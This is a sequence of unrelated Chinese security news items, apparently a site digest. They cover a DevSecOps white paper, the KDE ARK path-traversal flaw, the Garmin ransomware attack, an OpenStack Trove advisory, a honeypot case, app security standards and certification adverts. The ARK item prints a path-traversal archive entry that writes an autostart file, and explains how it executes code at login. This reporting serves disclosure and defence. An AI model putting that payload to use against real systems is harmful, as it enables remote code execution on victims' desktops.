7月29日,由中国信息通信研究院(以下简称“中国信通院”)、中国通信标准化协会联合主办的可信云线上峰会在“云端”开幕。会上发布了《研发运营安全白皮书(2020年)》。由中国信通院牵头,联合华为、腾讯、阿里、浪潮、京东、金山、华大基因、奇安信、默安科技、新思科技等诸多知名企业,用系统化、流程化方法梳理软件应用服务研发运营全生命周期安全及发展趋势。不仅有助从业者提升对软件应用服务研发运营安全的理解,对于促进行业共识及合作也具有积极的指导意义。

安全左移,全生命周期提升软件应用服务安全性

《研发运营安全白皮书(2020年)》开篇即指出研发运营安全指结合人员管理体系、制度流程,在软件应用服务设计早期便引入安全,进行安全左移,覆盖要求阶段、安全需求分析阶段、设计阶段、研发阶段、验证阶段、发布阶段、运营阶段、停用下线阶段的全生命周期,搭建安全体系,降低安全问题解决成本,全方面提升服务应用安全,提升人员安全能力。

全球安全事件频发,代码程序漏洞是关键诱因之一。根据Verizon以及Forrester等机构发布的研究数据显示,外部攻击、数据泄露等安全事件发生的根本原因超过30%与软件漏洞被攻击利用以及针对Web应用程序安全漏洞有关。

传统研发运营安全模式中,安全介入相对滞后。传统研发运营安全,针对软件应用服务自身的安全漏洞检测修复,通常是在系统搭建或者功能模块构建完成或者服务上线运营之后介入,进行安全扫描,威胁漏洞修复。当前的大多数安全手段,例如防病毒、防火墙、入侵检测等,都是关注交付运行之后的安全问题,属于被动防御性手段。

安全左移有助于帮助企业削减成本。根据美国国家标准与技术研究所(NIST)、IBM、Fortify等统计数据显示,在软件需求分析阶段就开始避免漏洞的成本比发布后修复成本低50~100倍。

各方关注日趋提升,研发安全运营市场持续扩大

全球主要国家以及区域性国际组织开始以战略、规范、指南等多种形式,统筹规划研发运营安全问题;国际标准组织及第三方非盈利组织也在积极推进研发运营安全共识;企业层面,全球知名互联网厂商也已经开始探索研发运营安全实践。

在白皮书的第二部分,不仅有诸多国际权威机构发布的市场数据,还包括各国政府,行业组织制定的相关法规和标准,以及全球知名互联网公司相关研发运营安全实践的介绍,对于从业人员了解行业现状具有很强的现实意义。

表1 重点重点国家及区域性国际组织研发运营安全相关举措

表2 国际标准组织及第三方非盈利组织研发运营安全相关工作

表3 企业研发运营安全具体实践

四大特点,七大环节详解研发运营安全体系

中国信通院牵头,联合华为、腾讯、阿里、浪潮、京东、金山、华大基因、奇安信、默安科技、新思科技等诸多知名企业讨论建立了一套针对研发运营的安全体系。

图片来源:中国信息通信研究院

表3 企业研发运营安全具体实践

本白皮书除了宏观层面和市场环境之外,还从细节入手,详细介绍了该研发运营安全体系,概要总结包括四大特点,七大环节。

四大特点

(1)覆盖范围更广,延伸至下线停用阶段,覆盖软件应用服务全生命周期;

(2)更具普适性,抽取关键要素,不依托于任何开发模式与体系;

(3)不止强调安全工具,同样注重安全管理,强化人员安全能力;

(4)进行运营安全数据反馈,形成安全闭环,不断优化流程实践。

七大环节

(1)管理制度;建立合适的人员组织架构与制度流程,保证研发运营流程安全的具体实施,针对人员进行安全培训,增强安全意识,进行相应考核管理;

(2)安全要求,前期明确安全要求,如设立质量安全门限要求,进行安全审计,对于第三方组件进行安全管理等;

(3)安全需求分析与设计,在研发阶段之前,进行安全方面的需求分析与设计,从合规要求以及安全功能需求方面考虑,进行威胁建模,确定安全需求与设计;

(4)安全研发验证,搭配安全工具确保编码实际安全,同时对于开源及第三方组件进行风险管理,在测试过程中,针对安全、隐私问题进行全面、深度的测试;

(5)安全发布,服务上线发布前进行完整性审查,制定事先响应计划,确保发布安全;

(6)运营安全,上线运营阶段,进行安全监控与安全运营,通过渗透测试等手段进行风险评估,针对突发事件进行应急响应,并及时复盘,形成处理知识库,汇总运营阶段的安全问题,形成反馈机制,优化研发运营全流程;

(7)停用下线,制定服务下线方案与计划,明确隐私保护合规方案,确保数据留存符合最小化原则。

趋势详解和案例帮助企业深刻理解研发运营安全可信生态

白皮书根据对行业及市场需求的深刻洞察,结合参与企业实践整理了安全体系在当下及未来一段时间内的主要发展趋势。包括,(1)研发运营安全管理体系将更加完善;(2)研发运营安全体系将会推动安全技术、工具的进一步发展;(3)研发运营安全将增强安全可信生态布局,对于供应链安全要求也将会越来越高。

除了审慎的分析和完善的数据之外,为了能够让读者更切实感受到研发运营安全体系的价值所在,白皮书最后的附录部分还从研发运营安全痛点、企业具体落地实现、最终效果描述三个方面呈现了国内多家知名企业,包括华为、腾讯、华大基因等研发运营安全的优秀实践案例,以便为读者提供参考。该白皮书的发布对于增强行业关于研发运营安全的认识,以及促进各方合作,并最终实现安全可信生态建设具有积极意义。

标准体系建设与评估相关工作

目前研发运营安全相关的行业标准《面向云计算的可信研发运营安全能力成熟度模型》与《研发运营安全解决方案整体框架》已成功在中国通信标准化协会(CCSA)中立项,标准的制定也受到了业界的广泛支持,中国信通院、华为、腾讯、阿里、京东云、金山云、奇安信、新思科技、默安科技、华大基因、普元信息、烽火、华云、新华三等企业参与标准的制定。

首批评估工作即将启动

针对相关行业标准的评估也在同步推进过程中:首批面向云计算的可信研发运营安全能力成熟度评估即将于2020年下半年启动;预计于2021年上半年启动首批静态应用程序安全测试(SAST)解决方案的评估。

具体评估细节请联系:

吴江伟  [email protected]

默认的KDE提取实用程序ARK中存在一个漏洞,攻击者可通过诱使用户下载存档并提取存档利用该漏洞覆盖文件或在用户的计算机上执行代码。

KDE是一个桌面环境,存在于Open SUSE、Kali、KUbuntu等为操作系统提供图形用户界面的Linux发行版中。

该漏洞是个路径遍历漏洞(CVE-2020-16116),由Hackers for Change的安全研究人员Dominik Penner发现,存在于默认的ARK存档实用程序中,恶意攻击者可通过分发恶意存档文件利用该漏洞远程执行代码。

一旦用户打开存档文件,攻击者就可以创建自动启动程序的应用程序,用勒索软件加密用户文件,安装挖矿软件,或安装让远程攻击者以shell权限访问受害者账户的后门。

Penner于2020年7月20日向KDE安全团队报告了该漏洞,该漏洞快速在今天发布的ARK 20.08.0版本中得到修复。

由于ARK是KDE桌面环境中的默认提取器,几乎所有Linux发行版都使用该提取器,因此建议所有用户尽快安装最新的更新。

路径遍历漏洞导致代码执行

在用户登录操作系统时,KED桌面环境允许用户自动启动应用程序。

这些自动启动程序是通过在~/.config/autostart文件夹中创建特殊的.desktop文件来配置的,该文件夹指定在登录时应该执行什么程序。

例如,当用户登录到桌面时,下图显示的桌面文件将自动启动“Konsole”应用程序。

Konsole自动启动

来源:Bleeping Computer

Penner发现ARK存档实用程序在解压缩存档文件时未能移除路径遍历字符。他利用该漏洞创建存档文件,该存档文件可提取存在于用户访问的任何位置的文件。

“KDE ARK容易受到通过目录遍历导致执行命令的任意写入漏洞的影响。ARK在解压tar、gzip、bzip2、rar和zip文件时,未能删除目录遍历字符,最终允许攻击者将文件悄悄地写入~/.config/autostart目录,导致下一次重新启动时执行命令。这种漏洞通常被称为‘Zip Slip’ 漏洞。” Penner在一份与Bleeping Computer共享的漏洞报告中写道。

使用该漏洞,Penner创建了一个PoC exploit,它通过在当前文件夹中提取一个特制的存档文件来自动创建KDE自动启动配置文件。

一旦创建了自动启动程序,下次计算机重新启动且用户登录帐户时,指定的程序将被执行,从而导致远程代码执行。

测试该漏洞

Penner与Bleeping Computer共享了一个PoC,在我们的测试中,这个漏洞非常容易被利用。

在运行该exploit时,我们在一个提取路径包含路径遍历字符的存档文件中留下一个特制的存档文件。

例如,“../../../.config/autostart/hackersforchange.desktop”。

当用户提取存档时,ARK将利用上述路径遍历在~/.config/autostart/hackersforchange.desktop中创建一个文件,下次当用户登录Linux KDE桌面时,该文件会启动xcalc。

PoC安装的自动启动程序,用来启动Xcalc

来源:Bleeping Computer

由于该漏洞容易被利用,建议所有KDE用户升级到ARK 20.08.0或之后版本。

——————————-

本文源自Bleeping Computer;转载请注明出处。

握有勒索病毒的黑客,再次展示了他们惊人的破坏力。

7月23号晚上,越来越多Garmin(佳明)智能手表的用户突然发现,自己的智能手表无法与手机上的配套APP“Garmin Connect”同步,APP本身也无法更新数据,就连之前的一些运动轨迹也无法查看。当他们想要联系佳明官方时,却发现佳明的呼叫中心同样受到了影响,无论是电话、发送电子邮件还是在网页上在线咨询,都无法正常运行。

很多用户迫不得已,只能跑到各种各样的社交平台网站上去叙述自己的遭遇顺带着投诉。Garmin官方在社交平台上迅速回应:“官方正努力修复问题,就事件造成的不便致歉。”

如此大规模的产品业务下线,实属罕见,怎么看官方都不应该发生这样的问题。很快,国外媒体ZDNet就揭露了事件的真相——佳明核心业务、呼叫中心的集体下线,其实是因为遭受了恶意勒索病毒攻击。

除了穿戴产品之外,有媒体援引实际用户反馈表示,佳明用于飞行的导航设备使用也出现了问题。根据航空管制的要求,飞行员在起飞之前必须要在导航系统上下载最新的航空数据库,但设备显示无法访问。

根据ZDNet的报道,有内部员工透露此次遭遇的勒索病毒是“WastedLocker”,背后是一个来自俄罗斯的黑客团队。坊间还传闻,对方直接向佳明开出了1000万美元的赎金,威胁要删除服务器上的所有数据。

参考国际咨询机构Canalys今年6月对2020年第一季度全球可穿戴市场的评估,佳明在全球可穿戴市场的份额大概是7.3%,同期苹果的市场份额为36.3%,整体用户数量为7000万,按照这个数字推算,此次Garmin遭受攻击将影响至少1500万用户。

1、佳明为何被勒索病毒扼住“命脉”

作为一个国际知名的GPS设备品牌,佳明涉足智能穿戴、海上导航、航空导航等多个领域,品牌和产品都主打“专业”。

以佳明最畅销的智能手表为例,不仅在硬件层面提供了血氧浓度检测、气压计等寻常穿戴设备不具备的传感器之外,还将硬件与自家复杂的APP进行全方位绑定,通过APP实现进一步的数据处理和信息展示。通过将智能手表所采集的数据传输到手机和云端上,佳明能够通过自身积累的经验数据,对用户的数据进行深入分析反馈,同时也能通过更大的显示界面展示更多有用信息。

很显然,这种能够在更加专业的产品硬件基础上,应用云端互通、大数据分析的能力,才是佳明最终“专业”标签的体现,也是其产品的核心竞争力。

但这也不可避免地导致佳明的产品使用与云端是否能正常运行息息相关。以目前佳明国内销售量最大的某款跑步场景运动手表为例,常用的多端数据互动工具就包含三款,分别对应手表的基础管理和应用、手表的拓展应用商店、手表和PC之间传输数据的工具。无论是那一个基础工具,打开的第一步,都是要直接登录到Garmin的账户。

面对勒索病毒的入侵,佳明的产业和业务一下子就遭遇了全面打击。跟最严重的后果比起来,用户服务的暂时停摆都不算什么。有台湾媒体援引知情人士信息,佳明的台湾工厂也已经停工,可见此次勒索病毒影响之深:佳明业务、售后、生产全面按下停止键,且短时间内拿不出短时替代的方案。

从目前已知的情况看,这次攻击是一次黑客组织长期策划、筹备的针对性攻击。不由得让人担心一种最糟糕状况的可能性:黑客组织很可能在实施勒索病毒攻击之前,已经将佳明的用户数据盗取,佳明想要恢复用户的云端数据,只能接受黑客组织的威胁。这些用户数据绝对会涉及隐私,如果黑客泄露用户数据并且对用户造成实际损失,佳明很可能还需要吃官司,进而造成大得多的经济损失。

事实上,越来越多的企业在智能产品的打造上,正在参考佳明的路线——在多个应用端、平台上共通数据,用云端和大数据的优势全面提升自家产品和服务的体验。这些新技术、新架构的应用固然没错,可真正面对勒索病毒攻击时,理论上可能出现核心的数据流被“绑架”,导致整套服务体系停摆的严重后果。

2、愈演愈烈 勒索病毒的威胁日益加剧

就在上周,腾讯安全对外发布了《2020上半年勒索病毒报告》,报告中显示,上半年全球大型企业遭受勒索病毒打击的事件依然高频发生。

据腾讯安全威胁情报大数据显示,2020上半年中国境内勒索病毒依旧十分活跃,但总体感染情况较去年略有下降。从勒索病毒攻击的地区分布看,广东、浙江、山东、河南、上海等经济较发达地区成为重点目标,其它省份也遭受到不同程度攻击。

从勒索病毒影响的行业看,数据价值较高的传统企业、教育、医疗、政府机构遭受攻击最为严重,互联网、金融、能源行业紧随其后,也遭到勒索病毒攻击影响。

为了追求利益最大化,多数情况下,攻击者在攻陷企业一台网络资产之后,会利用该资产持续渗透攻陷更多资产,之后大量植入文件加密模块,从而迫使企业在业务系统大面积瘫痪的情况下缴纳赎金。

此外,为避免勒索失败,攻击者还采取了新的勒索策略。即,先窃取政企机构敏感数据,再对企业资产进行加密。如果企业拒绝缴纳赎金解密,就在暗网“耻辱墙”页面公开企业部分敏感数据进一步实施勒索,若企业依然拒绝缴纳赎金,勒索团伙就会直接公开所窃取的企业敏感数据。

对于大型企业而言,数据泄露带来的不止有经济上的损失,还会严重影响企业形象,使自身失去公众信任。因此,面对这种以泄露数据为手段的勒索攻击,就算企业有数据备份,也只能被迫选择支付赎金。

3、安全前置不可松懈 全方位防御“勒索病毒”

让我们把目光再放回到佳明身上,此次安全事件暂无更多细节流出,因此没有办法从实际操作过多分析问题和如何修改。但毫无疑问,重创佳明的主因依旧是它自己。

佳明构建这样一套以数据为产品、业务核心,全方位塑造“专业”标签的产品理念,从一开始就决定了其需要较其他厂商更多的安全投入。至少从这次安全事件波及业务层面之广、以及影响时间之长来看,都反映出佳明的安全建设存在许多问题。以多个系统同时中招为例,佳明自身的数据系统内部显然没有设置足够隔离和权限管理机制。

腾讯安全技术专家李铁军在接受笔者采访时指出,目前企业网络安全存在两个隐形关键点:

  • 一是前置,企业在面对复杂的安全挑战之时,有必要将安全尽可能早、尽可能深地结合到自身产品和业务中去,形成一个坚实的安全能力底座;

  • 二是左移,企业应该以发展的视角来看待安全挑战,像勒索病毒这样高速成长的安全威胁,应尽可能多增加安全建设的投入。

具体面对勒索病毒这种威胁, 前置建设安全防御能力是唯一方法。腾讯安全根据多年与勒索病毒战斗的经验,总结了“三不三要”思路。

  • 不上钩:标题吸引人的未知邮件不要点开
  • 不打开:不随便打开电子邮件附件
  • 不点击:不随意点击电子邮件中附带网址
  • 要备份:重要资料要备份            
  • 要确认:开启电子邮件前确认发件人可信
  • 要更新:系统补丁/安全软件病毒库保持实时更新

除了这个思路以外 ,企业应在内网安装专业安全管理软件;部署流量监控/阻断类设备/软件;在网络边界、路由器、防火墙上设置严格的访问控制策略;使用内网强制密码安全策略来避免使用简单密码等其他一批进阶安全措施。

这些“基础性”的安全建设往往最难实现和遵守,采用大公司更加先进的解决方法往往是小企业最好的选择,例如腾讯安全可以根据业务节点拦截位置部署专业的安全产品,并根据腾讯安全威胁情报中心提供的情报数据配置各节点联防联动、统一协调管理,提升整体网络抗攻击能力。

对于个人和企业用户而言,腾讯电脑管家就可以解决绝大部分威胁,企业客户也可以通过部署腾讯终端安全管理系统,去拦截查杀各类勒索病毒。也可以通过腾讯电脑管家,提前备份核心数据。

 

概要信息: 

OpenStack RCE 0Day   

漏洞危害: 高,攻击者利用此漏洞,可实现远程代码执行。 

应急等级: 黄色  

版本: 1.0

 

漏洞概述

关于 OpenStack 

OpenStack 是一个利用虚拟资源池构建和管理私有云和公共云的平台。在虚拟化环境中,例如存储、CPU 和 RAM 等资源都是从诸多供应商特定的项目中提取出来,然后由虚拟机监控程序进行拆分并按需进行分配。

OpenStack 使用一组一致的应用编程接口(API),进一步将这些虚拟资源提取为离散池,用于辅助标准云计算工具,供管理员和用户直接交互使用。

 

漏洞描述

Openstack Trove是openstack为用户提供的数据库即服务(DBaaS)。即trove既具有数据库管理的功能,又具有云计算的优势。

使用trove,用户可以:“按需”获得数据库服务器,配置所获得的数据库服务器或者数据库服务器集群,对它们进行自动化管理,根据数据库的负载让数据库服务器集群动态伸缩。

漏洞位于OpenStack的trove模块中,OpenStack和每个已部署的数据库实例之间都有一个连接协议,该协议用于更改这些实例的配置,进行备份以及对数据库实例执行其他操作。它还用于从数据库收集统计信息。我们在此协议中进行代码审查和执行流审计过程中发现可导致远程代码执行的0day漏洞。

 

处置建议

目前我们已经对OpenStack 官方进行通报,并且也已经与国内云厂商进行积极沟通和确认。

为了保护您的OpenStack服务器,请确保您使用Service Tenant模型进行trove。

(https://docs.openstack.org/trove/latest/admin/run_trove_in_production.html#service-tenant-deployment)

另外,请使用最新版本的数据库服务器,确保在trove中使用的所有数据库映像都是安全的,存在漏洞的数据库映像也将使您的OpenStack服务器容易受到攻击。

 

声明:本文为极光无限原创,转载需注明来源

观安信息魅影威胁监测系统是基于欺骗防御技术的主动防御系统,通过设计好陷阱并引诱攻击者上钩,从而精确的感知攻击者行为,收集和捕获攻击行为,方便管理员做出及时的安全响应。主要用于保护企业中容易被黑客攻击的业务系统,比如用户数据、项目数据等敏感信息的业务环境。第一时间感知到威胁事件的发生,掌握安全事件的主动权,并能迅速进行应急响应,控制和降低企业安全风险。本文将介绍某运营商客户利用魅影应对攻防演习的一次经历。

部署方式

部署前与客户经过讨论,决定在内网区域与DMZ区域各部署若干节点,DMZ区域部分节点会映射到外网。为提高蜜罐仿真程度,上述两区域的节点仿真策略也分为两部分,内网区域的节点主要暴露windows类服务及其端口,DMZ区域主要映射HTTP服务及其端口,由此攻击者将难以区分真实资产与蜜罐资产。诱捕节点映射的外网IP是客户业务IP段中的一个,相对容易带给攻击者一种假象:“该IP地址是我通过信息收集工作收集到的,它是客户真实资产”,由此攻击者更容易进入到我们预置的陷阱中。

主要成效

日前,在该运营商客户部署的魅影已初见成效,魅影诱捕节点部署位置位于该运营商DMZ区域与内网区域,经发现其威胁告警主要存在于DMZ区域,主要的攻击方式为POST提交,达到800+次,对应IP 10+,通过日志判断主要为手工渗透,并使用漏洞利用工具进行攻击。同时发现相关威胁源IP 10+,其中struts2漏洞利用20+次,webshell上传10+次,通过对相应IP攻击源画像的判断分析,该IP攻击链为:信息收集àC段存活主机扫描à端口探测àWEB访问àstruts2漏洞利用。

攻击流程图

       发现告警后防守方通过及时封堵相应IP进行了处理,阻断了该恶意IP的后续渗透。

溯源信息

       此外,我方针对一个源IP获取到攻击者的百度账号信息,通过该账号可以在网络中找到蛛丝马迹,最终定位到其所就读的学校。

根据百度用户名搜索

总结

         近年来,企业的安全攻防演练越来越常态化,每个防守方都想掌握演练主动权,在众多的安全产品中,蜜罐无疑是最适合的一种,其低侵入式部署以及低误报率都能有效提高防守方工作效率,而蜜罐优异的仿真能力能吸引潜在的攻击者主动”暴露”,同时部署的溯源蜜罐更能对攻击者形成威慑,帮助防守方掌握主动权。在可预见的未来,蜜罐一定会成为攻防对抗中一个绕不开的角色。

近日,证监会发布了《证券期货业移动互联网应用程序安全规范》,该标准规定了证券期货业移动互联网应用程序的移动终端安全、身份鉴别、网络通信安全、数据安全、开发安全和安全审计,适用于证券期货业机构开发和发布移动互联网应用程序。

本次发文不仅加强了证券行业的监管力度,更是明确了本标准规定了证券期货业移动互联网应用程序的移动终端安全、身份鉴别、网络通信安全、数据安全、开发安全和安全审计的相关标准。相关发文参考了近年来多个金融行业内的发文。可以发现在目前金融行业的监管趋势已经由对银行业的强监管发展为全金融行业的强监管,对于移动应用的关注也越来越高。

在这样的趋势下,应该如何理解并按照相关规定来执行,并加强其安全管理,真正做到合规、安全,也是各大证券、期货企业面临的一个问题。以下是爱加密进行的详细解读:

 

1、移动终端安全要求

  •  移动互联网应用程序

abb74cbf88784b66b777fcd4c4c8fde8.png

1249e03f4928407bae199ed01dc1f97d.png

  • 移动终端环境

48686c5cfc5c45419c8115a197b37468.png

  •  安装与卸载

此部分主要限定了在安全和卸载过程中应该遵循的规范,开发人员在开发设计移动应用时满足相应要求即可。

  • 升级与更新

此部分规定了升级和更新时应满足的安全业务设计。如需要进行完整性校验、自动升级、出现重大问题后的强制更新等内容。需在业务开发阶段按照相关安全开发需求进行设计。

 

身份鉴别

 

  • 鉴别方式

此部分对身份认证、身份鉴别的认证方式和安全技术提出了4点要求,需在开发环节安全相关要求进行安全开发、概括总结如下:

1. 资金交易类、信息修改类的业务需要进行二次安全认证,除了要使用本地信息认证外还需要使用其他方式的认证(密码、令牌、手势等)。

2. 若采取第三方(如微信、支付宝、qq)认证,需对用户名密码进行登记核验。

3. 设置登录次数、登录锁定的策略。

4. 具备超时锁定或注销的功能。

  •  鉴别数据保护

此部分对鉴别认证相关数据的保护提出了3点要求,相关要求较为明确需在开发环节安全相关要求进行安全开发。

  • 密码安全

4956f259ef5445ab81c1c3d71c10831e.png

网络通讯协议

 

此部分在建议再用HTTPS及通讯协议加密产品对网络通信进行加密处理,并在开发环节根据相关安全要求进行安全设计、安全开发。

 

数据安全

 

  •  数据录入

91c07bbf001e4b04bc8861e70f488c2e.png

  •  数据存储

d0a61b07359e47b7ae4513b741c2a95a.png

安全开发

 

  •  安全需求

此部分规定了在移动应用设计阶段,需要先制定好相应安全需求,规范应包括的安全功能。后续开发过程中按照安全功能的要求进行安全开发。

  •  安全开发

210882089bee4ebe98a33bfa267a5729.png

  •  安全测试

d5029e7aca104362bd6ff3d6d6574e9b.png

  •  安全发布

cfb9997519e34544a955f648a456ca6c.png

爱加密专注于移动应用安全,以服务+产品的方式提供体系化的移动安全管理方案。多年来,通过对监管部门的支撑、权威研究机构的合作以及和大量行业客户的合作,爱加密积累了丰富的移动安全建设经验、技术和服务能力覆盖,针对《JR/T 0192-202证券期货业移动互联网应用程序 安全规范》, 爱加密可从如下几个方面提供安全解决方案。

 

  • 移动互联网应用程序

在这个部分主要对移动应用本身提出了相关的安全性要求。具体要求及安全思路如下:

34d41c0051234e48a42c462523c25ec8.png

  • 移动终端环境

136ab0f35b0e477baa1ee608df975a19.png

身份鉴别

  • 密码安全

31e03c12f7014d45b6a58ae7ebc1a2c2.png

  • 数据安全

a6ae4f382fa74bcc994df60362586cf3.png

 

南京伟思医疗科技股份有限公司成立于2001年,主要从事康复医疗器械及产品的研发、生产和销售,产品主要为电刺激类、磁刺激类、电生理类设备、耗材及配件等。此外。公司还正在进行下一代磁刺激仪、康复机器人等新产品的研发。

公司是中国康复医疗器械行业的技术创新驱动型企业,研发投入金额逐年增加,截至2020年6月已获授权专利63项,拥有二类医疗器械产品13项,参与重大科研项目5项,参与编写国家标准1项。产品已在国内超过6000家医疗及专业机构得到广泛应用,2017-2019年公司分别实现营业收入14,449.51万元,20,778.15万元和31,887.32万元,净利润4,019.00万元、6,272.49元和9,889.09万元,营业收入和净利润分别实现了48.55%和56.86%的年均复合增长率,在国内已公开披露经营数据的康复医疗器械企业中收入规模排名靠前。

公司正在进行下一代磁刺激仪、康复机器人等新产品的研发,未来将持续对标各细分领域国际领先企业的技术发展方向,不断实现技术突破,加快公司先进技术的成果转化速度,进一步提升公司产品的市场竞争力,力争在未来发展成为领先的康复医疗器械公司。

面临的问题与挑战

1,市场做电极的厂家众多,耗材质量参差不齐,由于耗材质量问题引起的售后服务量比较大,同时也增加了成本投入,影响了创收。

2,公司主要经营模式为代理商模式,经常会出现窜货混用等恶意抢单行为,管理难度大。

深思解决方案

开发商软件配合精锐 5 硬件加密锁实现设备耗材的管理,防止串货,混用等现象

预埋二维码,可实现批量操作生成

1、通过精锐5加密锁密码学函数对指定字符串进行加密,生成密文;

2、将加密后的数据通过工具转换为二维码,把二维码倒贴到每个耗材上;

3、将贴上二维码的耗材发给用户;

耗材使用时软件判断

1、通过二维码识别器将二维码内数据解析出来;

2、将解析出的数据传入加密锁内通过锁内代码进行解密

3、软件判断解密后的代码是否符合自定义格式,是否为指定耗材

  1. 是指定耗材进入软件正常逻辑中,使用设备
  2. 不是指定格式耗材退出软件,或提示使用指定耗材

总结

南京伟思自从采用了深思提供的解决方案后:

1、售后满意度提高

同类耗材厂家众多,但质量参差不齐,设备绑定耗材使用可以便于公司统一管理。

减少由于耗材质量问题引起的售后服务,提升采购设备单位以及其用户的满意度,充分展现开发商的设备质量过硬,树立良好口碑的企业形象。

2、增加耗材创收

设备绑定耗材的设计,在树立企业口碑的同时,更在耗材方面实现了增值创收。

3、有效管理渠道代理

在耗材绑定方案中使用不同字段的耗材码,可有效管理和区分渠道商;防止相互打价格战窜货混用等恶意抢单行为。

助力营销部门有效管理渠道代理商,有序的开展销售业务,实现更多创收。

深思数盾

深思数盾专注于软件授权保护、互联网授权服务和安全产品开发的创新性科技企业,引领软件授权保护产业进行了数次技术变革,目前是中国软件授权保护领域具有竞争优势的企业。拥有多项专利和技术沉淀,面向智能算法、工业板卡、终端设备、车联网等行业提供“应用加固、License 管控、业务数据管理”三位一体的安全解决方案,抵御终端安全风险。是中科云从、东方天呈、华睿科技等数千家企业的不二选择。

大数据时代,在充分挖掘和发挥大数据价值的同时,解决好数据安全与个人信息保护等问题刻不容缓,合规是企业发展的第一考虑因素。

个人信息保护既包括了传统信息安全的知识体系,也包含了法律法规及标准的知识内容。作为新一代的信息技术、信息安全或法务人员,需要需要全面学习了解对个人信息保护及合规的知识,以便迎接即将到来的个人信息保护与合规时代。

根据GDPR要求,核心活动涉及处理或存储大量的欧盟公民数据、处理或存储特殊类别的个人数据(健康记录、犯罪记录)的组织必须指定数据保护官DPO。

DPO主要负责就GDPR规定提供咨询意见,向最高管理层报告。未来设立DPO职位也将会在国际化企业和政府部门内成为趋势。

DPO发展前景

欧美国家早在2000年开始,已有至少数百家公司设有DPO的职位,如花旗集团、美国运通、惠普、微软、脸书等。安永的一份调查数据显示,欧盟GDPR根本性地改变了全球范围内隐私保护的管理模式。

 75%的欧盟公司以及50%的美国公司声称GDPR合规要求是驱动其隐私工作的主要原因。在培训方面的投入、隐私岗位聘用人数都在近几年大幅增长。

如何获取DPO证书

当你成为EXIN认证的数据保护官DPO时,这不仅意味着你成功通过了对欧盟法规的全面考察,更加意味着你拥有了在组织中担任实施与维护GDPR这一角色的能力。

DPO不是一门单独的考试,而是EXIN为已经获得相关认证的专业从业者提供的一种集成认证。即当一位从业者考取以下三门认证后

(PDPF+PDPP+ISO27001):

1、 EXIN Privacy and Data Protection Foundation认证,是一门验证专业人员如何保护个人数据,以及对数据保护相关欧盟法规了解程度的认证。

2、 EXIN Privacy and Data Protection Practitioner认证,首先主要验证专业人员对欧盟隐私法规和其 国际关联性的理解程度;更会进一步考察从业者在专业领域的实践中应用其知识的能力。

3、EXIN Information Security Foundation based on ISO/IEC 27001 基于ISO27001的信息安全管理精要课程。

就DPO证书申请涉及到的ISO27001证书的特别说明:

 1 .考完PDPF和PDPP后,拥有2019年1月1日之前考的其他国外认证机构颁发的的ISO27001 Foundation或ISO27000的Auditor的认证均视为有效的ISO27001证书,例如,BSI,DNV和SGS;中文认证机构发的ISO27001证书需要有英文翻译件。申请 DPO证书时必须提交这些证书的电子版。

2.目前没有ISO27001证书的想申请DPO证书的,考完PDPF和PDPP后还必须通过EXIN的ISO27001考试才能申请。

合适人群

所有GDPR中定义的需要了解数据保护和欧洲相关法律要求的组织成员/机构代表/企业员工。目标群体包括(不限于):

  • 组织内的数据保护官(Data Protection Officer,简称DPO*)
  • 组织内的数据隐私官Privacy Officer· 组织内的法务人员/ 合规人员Legal Officer / Compliance Officer
  • 组织内的安全负责人Security Officer
  • 组织内的业务连续性经理Business Continuity Manager
  • 组织内的数据管控专家Data Controller· 组织的数据保护审核员(包括内审员和外审员)Data Protection Auditors
  • 人力资源经理HR Manager

GDPR法规实施后,欧盟要求欧盟境内的政府部门和大规模处理和监控个人数据的企业内均应设立有DPO职位;未来设立DPO职位也将会在国际化企业和政府部门内成为趋势。

认证受益

1. 充分了解欧盟GDPR法律法规条例,构建个人数据保护的知识体系和实施能力,梳理企业数据合规和安全需求,设定制度流程,进行数据安全体系建设。

2. 提升企业的数据安全和隐私保护能力,组织建设数据安全治理团队,规避企业违规成本。

3. 考试通过可获得国际EXIN DPO证书,提升个人竞争力,对个人岗位提升、未来转型均有帮助。

谷安学院&安全牛课堂将于9月开设DPO课程(PDPF、PDPP、ISO27001)

具体情况联系下方老师咨询,领取课程大纲

编者按:

《NIST网络安全框架制造篇》为制造商管理网络安全风险提供了思路,可作为规划方案,指导读者如何识别机会,改善制造系统的网络安全状况。它根据特定的业务/任务目标,为安全活动划分了优先级,同时确定了哪些安全实践具有可操作性,可以为关键业务/任务目标提供支撑。

在指南第1卷-总体指导中:

  • 第1节概述了《网络安全框架制造篇》目的与使用范围;
  • 第2节简要介绍了制造系统;
  • 第3节介绍了《网络安全框架制造篇》内容;
  • 第4节阐述了该项目的《网络安全框架制造篇》实施方法;
  • 第5节概述了满足《网络安全框架制造篇》中“低影响性”要求所需的政策和程序文件;
  • 第6节介绍了满足《网络安全框架制造篇》中“低影响性”要求所需的技术能力;
  • 第7节讨论了满足《网络安全框架制造篇》中“低影响性”要求的可能方案;
  • 第8节概述了实施方案的实验室环境。

此篇连载内容为第最后一节: 实验室环境概述

本节详细介绍位于马里兰州的盖瑟斯堡的国家标准和技术研究所(NIST)总部的实验室环境(即实验室)。该实验室具有联网服务器组成的共享基础设施、评测工具、工业机器人、硬件在环仿真器等技术,为在两个制造系统(过程控制系统(PCS)[12]和协同机器人系统(CRS)[11])上实现《制造篇》提供支持。PCS和CRS利用工业硬件(如可编程逻辑控制器、机械手臂和传感器)、联网设备和工业协议模拟流程型制造系统和离散型制造系统。有关这两个系统的详情,请参见8.1节和8.2节。

图8-1所示的网络基础架构用于以下研究用途: 测试、部署和托管网络安全工具和网络流量评测系统、生成和操控用于触发异常网络活动的网络流量,以及存储实验数据文档。该架构使用了虚拟化环境,为构建该架构所需的大量网络安全技术和工具提供支持。

图8-1实验室网络基础架构

实验室网络基础架构可划分为三个独立的网络区域: 管理区、DMZ(非军事化)区和实验室区。管理区中的主机用于管理实验室设备(如网络硬件和虚拟化服务器)。DMZ区的主机用于在实验室网络和顶层网络(NIST网络)之间进行数据分享。实验室区包含可共享的评测服务器和工具以及用于托管网络安全工具的虚拟化架构。

实验室区连接本地PCS和CRS网络,这两种网络独立运行。PCS网络通过开放式最短路径优先(OSPF)路由协议连接实验室局域网,而CRS网络通过动态网络地址转换技术(动态NAT)连接实验室局域网。

